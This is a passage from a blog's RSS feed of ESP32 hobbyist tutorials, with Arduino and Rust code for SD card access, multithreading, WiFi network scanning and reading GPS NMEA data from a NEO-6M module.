&lt;li&gt;&lt;code&gt;arduino-cli&lt;/code&gt; installed on OSX (using &lt;code&gt;brew install arduino-cli&lt;/code&gt;) to ease monitoring via the command &lt;code&gt;arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Determine ESP32 SPI GPIO Pins. To do that you can the following code:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;void setup() {
  Serial.begin(115200);

  Serial.print(&amp;#34;MOSI: &amp;#34;);
  Serial.println(MOSI); // MOSI Pin by default
  Serial.print(&amp;#34;MISO: &amp;#34;);
  Serial.println(MISO); // MISO Pin by default
  Serial.print(&amp;#34;SCK: &amp;#34;);
  Serial.println(SCK); // SCK Pin by default
  Serial.print(&amp;#34;CS: &amp;#34;);
  Serial.println(SS); // CS Pin by default
}

void loop() {
}
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Install &lt;code&gt;SD&lt;/code&gt; library from Arduino IDE&lt;/li&gt;
&lt;li&gt;I connected VCC to 5V, GND to GND, MISO to pin 19, MOSI to pin 23, SCK to pin 18 and CS to pin 5.&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;arduino-code&#34;&gt;Arduino Code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#include &amp;lt;FS.h&amp;gt;
#include &amp;lt;SD.h&amp;gt;
#include &amp;lt;SPI.h&amp;gt;

void setup() {
  Serial.begin(115200);

  // Init SD card
  if (!SD.begin(5)) { // GPIO 5 is used for CS
    Serial.println(&amp;#34;Could not mount SD card&amp;#34;);
    return;
  }

  Serial.println(&amp;#34;SD card successfully mounted&amp;#34;);

  // Display SD card informations
  uint64_t cardSize = SD.cardSize() / (1024 * 1024);
  Serial.printf(&amp;#34;SD card size: %llu MB\n&amp;#34;, cardSize);

  // Create example file
  writeFile(SD, &amp;#34;/example.txt&amp;#34;, &amp;#34;This is an example file.&amp;#34;);
  
  // Read and display the files in the root dir
  listDir(SD, &amp;#34;/&amp;#34;, 0);
}

void loop() {
  // Nothing to do
}

// Function to list files in a directory
void listDir(fs::FS &amp;amp;fs, const char * dirname, uint8_t levels) {
  Serial.printf(&amp;#34;Directory listing: %s\n&amp;#34;, dirname);

  File root = fs.open(dirname);
  if (!root || !root.isDirectory()) {
    Serial.println(&amp;#34;Could not open directory Or it is not a directory&amp;#34;);
    return;
  }

  File file = root.openNextFile();
  while (file) {
    if (file.isDirectory()) {
      Serial.print(&amp;#34;DIR : &amp;#34;);
      Serial.println(file.name());
      if (levels) {
        listDir(fs, file.name(), levels - 1);
      }
    } else {
      Serial.print(&amp;#34;FICHIER : &amp;#34;);
      Serial.print(file.name());
      Serial.print(&amp;#34; TAILLE : &amp;#34;);
      Serial.println(file.size());
    }
    file = root.openNextFile();
  }
}

// Function to write a file
void writeFile(fs::FS &amp;amp;fs, const char * path, const char * message) {
  Serial.printf(&amp;#34;Writing in file: %s\n&amp;#34;, path);

  File file = fs.open(path, FILE_WRITE);
  if (!file) {
    Serial.println(&amp;#34;Could not open file to write into it&amp;#34;);
    return;
  }

  if (file.print(message)) {
    Serial.println(&amp;#34;File successfully written&amp;#34;);
  } else {
    Serial.println(&amp;#34;Impossible to write file&amp;#34;);
  }

  file.close();
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;In a next article we will see how to do the same thing with Rust.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<br/>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>Arduino IDE installed</li>
<li><code>arduino-cli</code> installed on OSX (using <code>brew install arduino-cli</code>) to ease monitoring via the command <code>arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200</code></li>
<li>Determine ESP32 SPI GPIO Pins. To do that you can the following code:</li>
</ul>
<pre tabindex="0"><code>void setup() {
  Serial.begin(115200);

  Serial.print(&#34;MOSI: &#34;);
  Serial.println(MOSI); // MOSI Pin by default
  Serial.print(&#34;MISO: &#34;);
  Serial.println(MISO); // MISO Pin by default
  Serial.print(&#34;SCK: &#34;);
  Serial.println(SCK); // SCK Pin by default
  Serial.print(&#34;CS: &#34;);
  Serial.println(SS); // CS Pin by default
}

void loop() {
}
</code></pre><ul>
<li>Install <code>SD</code> library from Arduino IDE</li>
<li>I connected VCC to 5V, GND to GND, MISO to pin 19, MOSI to pin 23, SCK to pin 18 and CS to pin 5.</li>
</ul>
<br/>
<h2 id="arduino-code">Arduino Code</h2>
<pre tabindex="0"><code>#include &lt;FS.h&gt;
#include &lt;SD.h&gt;
#include &lt;SPI.h&gt;

void setup() {
  Serial.begin(115200);

  // Init SD card
  if (!SD.begin(5)) { // GPIO 5 is used for CS
    Serial.println(&#34;Could not mount SD card&#34;);
    return;
  }

  Serial.println(&#34;SD card successfully mounted&#34;);

  // Display SD card informations
  uint64_t cardSize = SD.cardSize() / (1024 * 1024);
  Serial.printf(&#34;SD card size: %llu MB\n&#34;, cardSize);

  // Create example file
  writeFile(SD, &#34;/example.txt&#34;, &#34;This is an example file.&#34;);
  
  // Read and display the files in the root dir
  listDir(SD, &#34;/&#34;, 0);
}

void loop() {
  // Nothing to do
}

// Function to list files in a directory
void listDir(fs::FS &amp;fs, const char * dirname, uint8_t levels) {
  Serial.printf(&#34;Directory listing: %s\n&#34;, dirname);

  File root = fs.open(dirname);
  if (!root || !root.isDirectory()) {
    Serial.println(&#34;Could not open directory Or it is not a directory&#34;);
    return;
  }

  File file = root.openNextFile();
  while (file) {
    if (file.isDirectory()) {
      Serial.print(&#34;DIR : &#34;);
      Serial.println(file.name());
      if (levels) {
        listDir(fs, file.name(), levels - 1);
      }
    } else {
      Serial.print(&#34;FICHIER : &#34;);
      Serial.print(file.name());
      Serial.print(&#34; TAILLE : &#34;);
      Serial.println(file.size());
    }
    file = root.openNextFile();
  }
}

// Function to write a file
void writeFile(fs::FS &amp;fs, const char * path, const char * message) {
  Serial.printf(&#34;Writing in file: %s\n&#34;, path);

  File file = fs.open(path, FILE_WRITE);
  if (!file) {
    Serial.println(&#34;Could not open file to write into it&#34;);
    return;
  }

  if (file.print(message)) {
    Serial.println(&#34;File successfully written&#34;);
  } else {
    Serial.println(&#34;Impossible to write file&#34;);
  }

  file.close();
}
</code></pre><br/>
<p>In a next article we will see how to do the same thing with Rust.</p>
]]></content>
        </item>
        
        <item>
            <title>Get ESP32 cores count and use multithreading in Rust</title>
            <link>https://leandeep.com/get-esp32-cores-count-and-use-multithreading-in-rust/</link>
            <pubDate>Tue, 08 Apr 2025 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/get-esp32-cores-count-and-use-multithreading-in-rust/</guid>
            <description>&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
log = &amp;#34;0.4&amp;#34;
anyhow = &amp;#34;1.0&amp;#34;
esp-idf-hal = &amp;#34;0.45.2&amp;#34;
esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;count-cores-code&#34;&gt;Count cores code&lt;/h2&gt;
&lt;p&gt;Now update &lt;code&gt;main.rs&lt;/code&gt; and add this code:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use esp_idf_hal::cpu;
use esp_idf_svc::log::EspLogger;

fn main() -&amp;gt; anyhow::Result&amp;lt;()&amp;gt; {
    EspLogger::initialize_default();
    log::info!(&amp;#34;Starting program...&amp;#34;);

    let cpu_cores = cpu::CORES;
    log::info!(&amp;#34;Cores count : {}&amp;#34;, cpu_cores);

    Ok(())
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;build-and-run&#34;&gt;Build and Run&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd core
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/core --monitor
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;execute-code-in-different-threads-code&#34;&gt;Execute code in different threads code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use core::time::Duration;
use std::thread;
fn main() {
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!(&amp;#34;Starting multi-threaded example on ESP32&amp;#34;);

    // Spawn thread 1 on Core 0
    thread::spawn(|| {
        loop {
            log::info!(&amp;#34;Task running on Core 0&amp;#34;);
            thread::sleep(Duration::from_secs(2)); // Simulate work
        }
    });

    // Spawn thread 2 on Core 1
    thread::spawn(|| {
        loop {
            log::info!(&amp;#34;Task running on Core 1&amp;#34;);
            thread::sleep(Duration::from_secs(4)); // Simulate work
        }
    });

    // Keep the main thread alive
    loop {
        thread::sleep(Duration::from_secs(10));
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;execute-code-in-different-threads-and-share-variable&#34;&gt;Execute code in different threads and share variable&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use core::time::Duration;
use std::sync::{Arc, Mutex};
use std::thread;

fn main() {
    // Initialisation du logger
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!(&amp;#34;Starting program&amp;#34;);

    // Shared variable between threads
    let shared_counter = Arc::new(Mutex::new(0));

    // Spawn thread 1 on Core 0
    let counter_thread_1 = Arc::clone(&amp;amp;shared_counter);
    thread::spawn(move || {
        loop {
            {
                let mut counter = counter_thread_1.lock().unwrap();
                *counter += 1;
                log::info!(&amp;#34;Core 0 incremented counter to {}&amp;#34;, *counter);
            }
            thread::sleep(Duration::from_secs(2)); // Simule du travail
        }
    });

    // Spawn thread 2 on Core 1
    let counter_thread_2 = Arc::clone(&amp;amp;shared_counter);
    thread::spawn(move || {
        loop {
            {
                let mut counter = counter_thread_2.lock().unwrap();
                *counter += 2;
                log::info!(&amp;#34;Core 1 incremented counter to {}&amp;#34;, *counter);
            }
            thread::sleep(Duration::from_secs(4)); // Simule du travail
        }
    });

    // Main Thread: read shared variable value
    loop {
        {
            let counter = shared_counter.lock().unwrap();
            log::info!(&amp;#34;Main thread reads counter: {}&amp;#34;, *counter);
        }
        thread::sleep(Duration::from_secs(5));
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<br/>
<h2 id="prerequisites">Prerequisites</h2>
<pre tabindex="0"><code>[dependencies]
log = &#34;0.4&#34;
anyhow = &#34;1.0&#34;
esp-idf-hal = &#34;0.45.2&#34;
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
</code></pre><br/>
<h2 id="count-cores-code">Count cores code</h2>
<p>Now update <code>main.rs</code> and add this code:</p>
<pre tabindex="0"><code>use esp_idf_hal::cpu;
use esp_idf_svc::log::EspLogger;

fn main() -&gt; anyhow::Result&lt;()&gt; {
    EspLogger::initialize_default();
    log::info!(&#34;Starting program...&#34;);

    let cpu_cores = cpu::CORES;
    log::info!(&#34;Cores count : {}&#34;, cpu_cores);

    Ok(())
}
</code></pre><br/>
<h2 id="build-and-run">Build and Run</h2>
<pre tabindex="0"><code>cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd core
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/core --monitor
</code></pre><br/>
<h2 id="execute-code-in-different-threads-code">Execute code in different threads code</h2>
<pre tabindex="0"><code>use core::time::Duration;
use std::thread;
fn main() {
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!(&#34;Starting multi-threaded example on ESP32&#34;);

    // Spawn thread 1 on Core 0
    thread::spawn(|| {
        loop {
            log::info!(&#34;Task running on Core 0&#34;);
            thread::sleep(Duration::from_secs(2)); // Simulate work
        }
    });

    // Spawn thread 2 on Core 1
    thread::spawn(|| {
        loop {
            log::info!(&#34;Task running on Core 1&#34;);
            thread::sleep(Duration::from_secs(4)); // Simulate work
        }
    });

    // Keep the main thread alive
    loop {
        thread::sleep(Duration::from_secs(10));
    }
}
</code></pre><br/>
<h2 id="execute-code-in-different-threads-and-share-variable">Execute code in different threads and share variable</h2>
<pre tabindex="0"><code>use core::time::Duration;
use std::sync::{Arc, Mutex};
use std::thread;

fn main() {
    // Initialisation du logger
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!(&#34;Starting program&#34;);

    // Shared variable between threads
    let shared_counter = Arc::new(Mutex::new(0));

    // Spawn thread 1 on Core 0
    let counter_thread_1 = Arc::clone(&amp;shared_counter);
    thread::spawn(move || {
        loop {
            {
                let mut counter = counter_thread_1.lock().unwrap();
                *counter += 1;
                log::info!(&#34;Core 0 incremented counter to {}&#34;, *counter);
            }
            thread::sleep(Duration::from_secs(2)); // Simule du travail
        }
    });

    // Spawn thread 2 on Core 1
    let counter_thread_2 = Arc::clone(&amp;shared_counter);
    thread::spawn(move || {
        loop {
            {
                let mut counter = counter_thread_2.lock().unwrap();
                *counter += 2;
                log::info!(&#34;Core 1 incremented counter to {}&#34;, *counter);
            }
            thread::sleep(Duration::from_secs(4)); // Simule du travail
        }
    });

    // Main Thread: read shared variable value
    loop {
        {
            let counter = shared_counter.lock().unwrap();
            log::info!(&#34;Main thread reads counter: {}&#34;, *counter);
        }
        thread::sleep(Duration::from_secs(5));
    }
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Scan Wifi networks on ESP32 using Rust</title>
            <link>https://leandeep.com/scan-wifi-networks-on-esp32-using-rust/</link>
            <pubDate>Tue, 08 Apr 2025 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/scan-wifi-networks-on-esp32-using-rust/</guid>
            <description>&lt;p&gt;In this article we are going to see how to scan Wifi networks around you.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;The crates used are the following ones:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
log = &amp;#34;0.4&amp;#34;
esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }
esp-idf-hal = &amp;#34;0.45.2&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use esp_idf_hal::prelude::*;
use esp_idf_svc::eventloop::EspSystemEventLoop;
use esp_idf_svc::nvs::EspDefaultNvsPartition;
use esp_idf_svc::sys::EspError;
use esp_idf_svc::wifi::{AuthMethod, BlockingWifi, ClientConfiguration, Configuration, EspWifi};
use std::thread;
use std::time::Duration;

fn main() -&amp;gt; Result&amp;lt;(), EspError&amp;gt; {
    esp_idf_svc::sys::link_patches();
    esp_idf_svc::log::EspLogger::initialize_default();
    log::set_max_level(log::LevelFilter::Info);
    log::info!(&amp;#34;Program started!&amp;#34;);

    // Init needed components
    let peripherals = Peripherals::take().unwrap();
    let nvs = EspDefaultNvsPartition::take()?;
    let sys_loop = EspSystemEventLoop::take()?;

    // Init WiFi
    let esp_wifi = EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?;
    let mut wifi = BlockingWifi::wrap(esp_wifi, sys_loop)?;

    let wifi_config = Configuration::Client(ClientConfiguration::default());
    wifi.set_configuration(&amp;amp;wifi_config)?;

    wifi.start()?;
    println!(&amp;#34;WiFi started in station mode&amp;#34;);
    thread::sleep(Duration::from_secs(2));

    // Boucle infinie pour scanner les réseaux
    loop {
        println!(&amp;#34;\n=== Scanning WiFi networks... ===&amp;#34;);

        match wifi.scan() {
            Ok(scan_result) =&amp;gt; {
                println!(&amp;#34;{} WiFi networks detected:&amp;#34;, scan_result.len());

                // Sort networks per signal power (stronger first)
                let mut networks = scan_result;
                networks.sort_by(|a, b| b.signal_strength.cmp(&amp;amp;a.signal_strength));

                for (i, ap) in networks.iter().enumerate() {
                    // Convert SSID to String
                    let ssid = if ap.ssid.is_empty() {
                        &amp;#34;&amp;lt;Hidden network&amp;gt;&amp;#34;.to_string()
                    } else {
                        ap.ssid.to_string()
                    };

                    // Format BSSID to MAC address
                    let mac = format!(
                        &amp;#34;{:02X}:{:02X}:{:02X}:{:02X}:{:02X}:{:02X}&amp;#34;,
                        ap.bssid[0],
                        ap.bssid[1],
                        ap.bssid[2],
                        ap.bssid[3],
                        ap.bssid[4],
                        ap.bssid[5]
                    );

                    println!(
                        &amp;#34;{:2}. SSID: {:32} | Signal: {:4} dBm | Channel: {:2} | MAC: {:17} | Security: {:?}&amp;#34;,
                        i + 1,
                        ssid,
                        ap.signal_strength,
                        ap.channel,
                        mac,
                        auth_method_to_string(ap.auth_method)
                    );
                }
            }
            Err(e) =&amp;gt; {
                println!(&amp;#34;Error while scanning: {:?}&amp;#34;, e);
            }
        }

        println!(&amp;#34;Wait 5 seconds before next scan...&amp;#34;);
        thread::sleep(Duration::from_secs(5));
    }
}

fn auth_method_to_string(auth: Option&amp;lt;AuthMethod&amp;gt;) -&amp;gt; &amp;amp;&amp;#39;static str {
    match auth {
        Some(AuthMethod::None) =&amp;gt; &amp;#34;Open&amp;#34;,
        Some(AuthMethod::WEP) =&amp;gt; &amp;#34;WEP&amp;#34;,
        Some(AuthMethod::WPA) =&amp;gt; &amp;#34;WPA&amp;#34;,
        Some(AuthMethod::WPA2Personal) =&amp;gt; &amp;#34;WPA2-Personal&amp;#34;,
        Some(AuthMethod::WPA3Personal) =&amp;gt; &amp;#34;WPA3-Personal&amp;#34;,
        Some(AuthMethod::WPA2Enterprise) =&amp;gt; &amp;#34;WPA2-Enterprise&amp;#34;,
        Some(AuthMethod::WPA2WPA3Personal) =&amp;gt; &amp;#34;WPA2/WPA3&amp;#34;,
        None =&amp;gt; &amp;#34;Unknown&amp;#34;,
        _ =&amp;gt; &amp;#34;Unknown&amp;#34;,
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to scan Wifi networks around you.</p>
<br/>
<p>The crates used are the following ones:</p>
<pre tabindex="0"><code>[dependencies]
log = &#34;0.4&#34;
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
esp-idf-hal = &#34;0.45.2&#34;
</code></pre><br/>
<pre tabindex="0"><code>use esp_idf_hal::prelude::*;
use esp_idf_svc::eventloop::EspSystemEventLoop;
use esp_idf_svc::nvs::EspDefaultNvsPartition;
use esp_idf_svc::sys::EspError;
use esp_idf_svc::wifi::{AuthMethod, BlockingWifi, ClientConfiguration, Configuration, EspWifi};
use std::thread;
use std::time::Duration;

fn main() -&gt; Result&lt;(), EspError&gt; {
    esp_idf_svc::sys::link_patches();
    esp_idf_svc::log::EspLogger::initialize_default();
    log::set_max_level(log::LevelFilter::Info);
    log::info!(&#34;Program started!&#34;);

    // Init needed components
    let peripherals = Peripherals::take().unwrap();
    let nvs = EspDefaultNvsPartition::take()?;
    let sys_loop = EspSystemEventLoop::take()?;

    // Init WiFi
    let esp_wifi = EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?;
    let mut wifi = BlockingWifi::wrap(esp_wifi, sys_loop)?;

    let wifi_config = Configuration::Client(ClientConfiguration::default());
    wifi.set_configuration(&amp;wifi_config)?;

    wifi.start()?;
    println!(&#34;WiFi started in station mode&#34;);
    thread::sleep(Duration::from_secs(2));

    // Boucle infinie pour scanner les réseaux
    loop {
        println!(&#34;\n=== Scanning WiFi networks... ===&#34;);

        match wifi.scan() {
            Ok(scan_result) =&gt; {
                println!(&#34;{} WiFi networks detected:&#34;, scan_result.len());

                // Sort networks per signal power (stronger first)
                let mut networks = scan_result;
                networks.sort_by(|a, b| b.signal_strength.cmp(&amp;a.signal_strength));

                for (i, ap) in networks.iter().enumerate() {
                    // Convert SSID to String
                    let ssid = if ap.ssid.is_empty() {
                        &#34;&lt;Hidden network&gt;&#34;.to_string()
                    } else {
                        ap.ssid.to_string()
                    };

                    // Format BSSID to MAC address
                    let mac = format!(
                        &#34;{:02X}:{:02X}:{:02X}:{:02X}:{:02X}:{:02X}&#34;,
                        ap.bssid[0],
                        ap.bssid[1],
                        ap.bssid[2],
                        ap.bssid[3],
                        ap.bssid[4],
                        ap.bssid[5]
                    );

                    println!(
                        &#34;{:2}. SSID: {:32} | Signal: {:4} dBm | Channel: {:2} | MAC: {:17} | Security: {:?}&#34;,
                        i + 1,
                        ssid,
                        ap.signal_strength,
                        ap.channel,
                        mac,
                        auth_method_to_string(ap.auth_method)
                    );
                }
            }
            Err(e) =&gt; {
                println!(&#34;Error while scanning: {:?}&#34;, e);
            }
        }

        println!(&#34;Wait 5 seconds before next scan...&#34;);
        thread::sleep(Duration::from_secs(5));
    }
}

fn auth_method_to_string(auth: Option&lt;AuthMethod&gt;) -&gt; &amp;&#39;static str {
    match auth {
        Some(AuthMethod::None) =&gt; &#34;Open&#34;,
        Some(AuthMethod::WEP) =&gt; &#34;WEP&#34;,
        Some(AuthMethod::WPA) =&gt; &#34;WPA&#34;,
        Some(AuthMethod::WPA2Personal) =&gt; &#34;WPA2-Personal&#34;,
        Some(AuthMethod::WPA3Personal) =&gt; &#34;WPA3-Personal&#34;,
        Some(AuthMethod::WPA2Enterprise) =&gt; &#34;WPA2-Enterprise&#34;,
        Some(AuthMethod::WPA2WPA3Personal) =&gt; &#34;WPA2/WPA3&#34;,
        None =&gt; &#34;Unknown&#34;,
        _ =&gt; &#34;Unknown&#34;,
    }
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Get GPS coordinates on ESP32 using basic Arduino code</title>
            <link>https://leandeep.com/get-gps-coordinates-on-esp32-using-basic-arduino-code/</link>
            <pubDate>Wed, 02 Apr 2025 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/get-gps-coordinates-on-esp32-using-basic-arduino-code/</guid>
            <description>&lt;p&gt;In this article we are going to see how to retrieve NMEA sentences from a GPS module NEO-6M connected to an ESP32.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
Connect the NEO-6M GPS module to the ESP32
&lt;br/&gt;
Then create an Arduino program and deploy it to the ESP-wroom-32.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;arduino-cli sketch new arduino-gps
cd arduino-gps/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
Edit the arduino-gps.ino file and add the following content:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#define RXD2 16
#define TXD2 17

#define GPS_BAUD 9600

// Create an instance of the HardwareSerial class for Serial 2
HardwareSerial gpsSerial(2);

void setup(){
  // Serial Monitor
  Serial.begin(115200);

  // Start Serial 2 with the defined RX and TX pins and a baud rate of 9600
  gpsSerial.begin(GPS_BAUD, SERIAL_8N1, RXD2, TXD2);
  Serial.println(&amp;#34;Serial 2 started at 9600 baud rate&amp;#34;);
}

void loop(){
  while (gpsSerial.available() &amp;gt; 0){
    // get the byte data from the GPS
    char gpsData = gpsSerial.read();
    Serial.print(gpsData);
  }
  delay(1000);
  Serial.println(&amp;#34;-------------------------------&amp;#34;);
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
Compile and deploy:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to retrieve NMEA sentences from a GPS module NEO-6M connected to an ESP32.</p>
<p><br/>
Connect the NEO-6M GPS module to the ESP32
<br/>
Then create an Arduino program and deploy it to the ESP-wroom-32.</p>
<pre tabindex="0"><code>arduino-cli sketch new arduino-gps
cd arduino-gps/
</code></pre><p><br/>
Edit the arduino-gps.ino file and add the following content:</p>
<pre tabindex="0"><code>#define RXD2 16
#define TXD2 17

#define GPS_BAUD 9600

// Create an instance of the HardwareSerial class for Serial 2
HardwareSerial gpsSerial(2);

void setup(){
  // Serial Monitor
  Serial.begin(115200);

  // Start Serial 2 with the defined RX and TX pins and a baud rate of 9600
  gpsSerial.begin(GPS_BAUD, SERIAL_8N1, RXD2, TXD2);
  Serial.println(&#34;Serial 2 started at 9600 baud rate&#34;);
}

void loop(){
  while (gpsSerial.available() &gt; 0){
    // get the byte data from the GPS
    char gpsData = gpsSerial.read();
    Serial.print(gpsData);
  }
  delay(1000);
  Serial.println(&#34;-------------------------------&#34;);
}
</code></pre><p><br/>
Compile and deploy:</p>
<pre tabindex="0"><code>arduino-cli compile --fqbn esp32:esp32:esp32 arduino-gps.ino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 arduino-gps.ino
arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200
</code></pre><br/>
<p>Put the GPS module outside your house and once it starts to blink it means he starts to get a precise position.</p>
<blockquote>
<p>The important line is the one that starts with <code>$GPGGA</code>. Ask chatgpt to explain you how it&rsquo;s structure. It&rsquo;s very simple and you have all kinds of information.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Get GPS coordinates on ESP32 using Rust</title>
            <link>https://leandeep.com/get-gps-coordinates-on-esp32-using-rust/</link>
            <pubDate>Wed, 02 Apr 2025 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/get-gps-coordinates-on-esp32-using-rust/</guid>
            <description>&lt;p&gt;In this article we are going to see how to retrieve NMEA sentences from a GPS module NEO-6M connected to an ESP32.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
Connect the NEO-6M GPS module to the ESP32
&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/esp-gps.jpg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;blockquote&gt;
&lt;p&gt;Dependencies:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }
esp-idf-hal = &amp;#34;0.45.2&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::prelude::*;
use esp_idf_hal::uart::*;
use esp_idf_svc::hal::uart::config::DataBits;
use esp_idf_svc::hal::uart::config::StopBits;

fn main() -&amp;gt; Result&amp;lt;(), Box&amp;lt;dyn std::error::Error&amp;gt;&amp;gt; {
    // Lien des patches ESP-IDF
    esp_idf_svc::sys::link_patches();
    
    // Configuration du logger
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!(&amp;#34;Démarrage de l&amp;#39;application GPS&amp;#34;);

    // Initialisation des périphériques
    let peripherals = Peripherals::take().unwrap();
    
    // Configuration de l&amp;#39;UART
    let config = config::Config::default()
        .baudrate(Hertz(9600))
        .data_bits(DataBits::DataBits8)
        .parity_none()
        .stop_bits(StopBits::STOP1);

    // Création du driver UART avec typage explicite
    let mut uart_driver = UartDriver::new(
        peripherals.uart2,
        peripherals.pins.gpio17, // TX
        peripherals.pins.gpio16, // RX
        Option::&amp;lt;esp_idf_hal::gpio::Gpio0&amp;gt;::None, // RTS (pas utilisé)
        Option::&amp;lt;esp_idf_hal::gpio::Gpio0&amp;gt;::None, // CTS (pas utilisé)
        &amp;amp;config,
    )?;

    println!(&amp;#34;UART initialisé avec un débit de 9600 bauds&amp;#34;);

    // Buffer pour stocker les données GPS
    let mut buffer = [0u8; 128];
    
    loop {
        // Lecture des données disponibles sur l&amp;#39;UART avec timeout
        match uart_driver.read(&amp;amp;mut buffer, 1000) {
            Ok(bytes_read) if bytes_read &amp;gt; 0 =&amp;gt; {
                let gps_data = &amp;amp;buffer[..bytes_read];
                println!(
                    &amp;#34;Données GPS reçues : {}&amp;#34;,
                    String::from_utf8_lossy(gps_data)
                );
            },
            Ok(_) =&amp;gt; {
                println!(&amp;#34;Aucune donnée GPS reçue (timeout)&amp;#34;);
            },
            Err(e) =&amp;gt; {
                println!(&amp;#34;Erreur de lecture UART: {:?}&amp;#34;, e);
            }
        }

        println!(&amp;#34;-------------------------------&amp;#34;);
        std::thread::sleep(std::time::Duration::from_secs(1));
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to retrieve NMEA sentences from a GPS module NEO-6M connected to an ESP32.</p>
<p><br/>
Connect the NEO-6M GPS module to the ESP32
<br/></p>
<p><img src="/images/esp-gps.jpg" alt="image"></p>
<br/>
<blockquote>
<p>Dependencies:</p>
<pre tabindex="0"><code>esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
esp-idf-hal = &#34;0.45.2&#34;
</code></pre></blockquote>
<br/>
<pre tabindex="0"><code>use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::prelude::*;
use esp_idf_hal::uart::*;
use esp_idf_svc::hal::uart::config::DataBits;
use esp_idf_svc::hal::uart::config::StopBits;

fn main() -&gt; Result&lt;(), Box&lt;dyn std::error::Error&gt;&gt; {
    // Lien des patches ESP-IDF
    esp_idf_svc::sys::link_patches();
    
    // Configuration du logger
    esp_idf_svc::log::EspLogger::initialize_default();
